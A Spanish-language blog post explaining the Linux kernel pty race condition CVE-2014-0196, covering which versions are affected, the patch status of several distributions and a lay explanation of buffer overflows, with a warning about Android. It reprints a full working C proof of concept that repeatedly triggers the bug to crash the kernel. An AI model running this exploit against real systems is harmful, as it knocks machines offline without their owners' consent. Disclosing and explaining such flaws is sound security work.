Se ha dado a conocer un importante fallo de seguridad en el núcleo Linux que afecta a todas las versiones desde la 2.6.31 (versión del 2009) hasta la actual 3.14.3. Se trata de un bug crítico que es capaz de corromper la memoria asignada al núcleo y hasta puede permitir que un usuario no-root pueda obtener privilegios de autorización. Red Hat afirma que RHEL 6 no es vulnerable y las distribuciones Fedora y Ubuntu, que tenían acceso por adelantado al CVE-2014-0196 desde hace dos semanas, ya han publicado las actualizaciones de seguridad correspondientes con parches propios. Debian ha lanzado ya una actualización, pero solo para la rama estable. Sin embargo, el proyecto Linux tan solo ha agregado el parche a la rama de desarrollo y las demás distribuciones no han movido ficha aún.

Este fallo podría afectar a un equipo escuchando y se debería ejecutar un binario que explote el fallo en el núcleo. El vector más probable de ataque sería engañar al usuario para que instale un programa malicioso.

El fallo fue descubierto por un usuario de SuSE, la distribución comercial de Novell. El fallo consiste en que si se da simultáneamente más de una orden de escritura a la misma pseudoterminal (una TTY), se puede producir lo que se conoce como un “desbordamiento de búfer” (buffer overflow), es decir, un intento de escribir más allá de la memoria asignada a una variable del procedimiento que se está ejecutando en ese momento. Como el procedimiento que lleva a cabo una orden de escritura en una pseudoterminal, llamado n_tty_write(), es una función del núcleo Linux, al producirse el desbordamiento, habremos sobrescrito memoria del mismísimo núcleo hasta donde queramos.


¿Por qué es peligroso que se desborde un búfer?

Simplemente porque en ejecutables binarios escritos en C o C++ al final de la memoria de cada procedimiento se encuentra la dirección de memoria del procedimiento “padre”. Si sobrescribimos esa información con una dirección que nosotros controlamos, podemos entonces ejecutar código arbitrario. Si esto se produce, como en este caso, sobrescribiendo la memoria de un proceso “privilegiado” (el núcleo, un demonio, etc.), el proceso arbitrario que ejecute el atacante también tendrá privilegios de administrador, por lo que podrá modificar el sistema a su antojo sin necesidad de entrar al sistema como “root”. Por otro lado, si no se sobrescribe la memoria con nada significativo y solo se produce el desbordamiento, entonces el núcleo se caerá y tendremos un “kernel panic”.

Se tiene que dar la condición de que se produzca el desbordamiento. Esto se debe porque el fallo sucede en un fenómeno técnicamente conocido como “condición de carrera” (Race Condition). Desde hace tiempo existe la posibilidad de ejecutar código en paralelo, en “hilos” o “procesos” diferentes (no son sinónimos, pero ambos se refieren a formas de ejecutar órdenes en paralelo). El problema consiste en que no hay forma de predecir el momento ni el orden en que se ejecutan los hilos o procesos (de hecho, cuando se programa en paralelo hay que tener esto muy en cuenta y nunca escribir código paralelizado que asuma uno u otro orden de ejecución). Por lo tanto, puede suceder que dos o más hilos o procesos intenten acceder o modificar una misma región de la memoria, con la consecuencia de obtener un resultado totalmente impredecible en la ejecución del programa (hay formas de protegerse de esto que, básicamente, consiste en marcar temporalmente una variable como “propiedad” de un hilo u otro). En el caso que nos toca hoy, resulta que dependiendo de la sincronización y del orden en que acaban ejecutándose las órdenes paralelas de escritura a la TTY, podemos sufrir el desbordamiento o no.


Prueba de concepto (PoC)

Podéis compilar y ejecutar el siguiente código fuente para comprobar la explotación de la vulnerabilidad, puede ser que al ejecutarlo no ocurra nada ya que depende de la “condición de carrera” pero al ejecutarlo varias veces seguramente se producirá un “kernel panic”.

/* CVE-2014-0196 DOS PoC [Written May 5th, 2014]
 *    by DigitalCold <digitalcold0@gmail.com>
 *
 * Note: this crashes my i686 Gentoo system running 3.12.14
 * and an old Backtrack 5r3 running 3.2.6. Any advice on how to gain
 * code exec would be greatly appreciated.
 *
 * Usage: gcc -O2 -o pty pty.c -lutil && ./pty
 *
 * CVE: http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-0196.html
 * Bug discussion: http://bugzillafiles.novell.org/attachment.cgi?id=588355
 * How-to-pty: http://rachid.koucha.free.fr/tech_corner/pty_pdip.html
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>

#include <pty.h>
#include <termios.h>
#include <fcntl.h>

// used to sync the two writer processes
volatile static int * Sync = NULL;

int main() {
  int master, res;
  struct termios tp;

  Sync = mmap(NULL, sizeof *Sync, PROT_READ | PROT_WRITE, 
                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

  if(Sync == MAP_FAILED)
  {
    perror("Sync mmap");
    exit(1);
  }

  // hold
  *Sync = 0;

  // create a child with a new PTY connection
  pid_t child = forkpty(&master, NULL, NULL, NULL);

  if(child == -1) {
    perror("forkpty");
    exit(1);
  } 
  // parent
  else if(child > 0) {
    printf("CVE-2014-0196 DOS PoC by DigitalCold\n", getpid(), child);
    printf("[+] New PTY - Master PID %d, Slave PID %d\n", getpid(), child);
    printf("[+] Starting bombing run...\n");

    int flags = fcntl(master, F_GETFL, 0);
    fcntl(master, F_SETFL, flags | O_NONBLOCK);

    // synchronizer process
    int doSync = fork();

    if(!doSync) { // child
      // sync the two processes (CLK)
      while(1) {
        sleep(1);
        *Sync = 1; // release
        sleep(1);
        *Sync = 0;
      }
    }
    else if(doSync < 0)
    {
      perror("sync fork");
      exit(1);
    }

    // used for printing status
    int cnt = 0;
    char readBuf[256<<3];

    while(1) {
      while(!*Sync) usleep(1000);
      if(write(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master write");
          exit(1);
        }
      }
      
      // shovel the input 
      if(read(master, readBuf, sizeof readBuf) < 0) {
        if(errno != EAGAIN) {
          perror("master read");
          exit(1);
        }
      }

      if(cnt >= 200000) {
        fprintf(stderr, "\n[-] No crash? Maybe you're not vulnerable...\n");
        exit(1);
      }
      else if(cnt++ % 200 == 0)
        fprintf(stderr, ".");
    }
  } 
  else { // child
    char discard[1024];

    if(tcgetattr(0, &tp) == -1)
        perror("tcgetattr");

    // enable raw mode with ECHO to trigger the bug
    cfmakeraw(&tp);
    tp.c_lflag |=  ECHO;

    if(tcsetattr(0, TCSAFLUSH, &tp) == -1)
        perror("tcsetattr");

    // make stdin and stdout non-blocking
    int flags = fcntl(0, F_GETFL, 0);
    fcntl(0, F_SETFL, flags | O_NONBLOCK);
    flags = fcntl(1, F_GETFL, 0);
    fcntl(1, F_SETFL, flags | O_NONBLOCK);

    // construct a lengthy crash string
    size_t badStrSz = 256<<2;
    char * badStr = malloc(badStrSz);
    int i;

    for(i = 0; i < badStrSz; i++)
      badStr[i] = 'A';

    // slave loop
    while(1) {
      while(!*Sync) usleep(1000);
      if(write(1, badStr, badStrSz) < 0)
        if(errno != EAGAIN)
          exit(1);

      // eat the incoming data
      if(read(0, discard, sizeof discard) < 0)
        if(errno != EAGAIN)
          exit(1);
    }
  }

  return 0;
}

A diferencia de la opinión vertida por los redactores de Ars Technica, que consideran que son los servidores los que más peligro de ser atacados por esta vía, creo que el peligro real está en Android. El código vulnerable está presente (líneas 1997 y ss.) en la última versión del núcleo utilizada por Android 4.4 (basado en Linux 3.4) y la imposibilidad de actualizar la mayoría de los dispositivos hace que esto sea un vector de ataque bastante plausible contra aquellos dispositivos que no se verán actualizados jamás. La única recomendación posible aquí es que mientras Google no publique un parche tengáis mucho cuidado en no instalar aplicaciones sospechosas. Es verdad que las distribuciones Linux de escritorio que no hayan actualizado su núcleo aún también son vulnerables, pero si uno se ciñe a los repositorios oficiales, uno debería quedarse tranquilo (lo único que podría pasar es que, por mala suerte, el núcleo se cayera por darse las condiciones para el desbordamiento, pero si no ha pasado aún después de tantos años, es poco probable que pase).


FUENTES

www.etccrond.es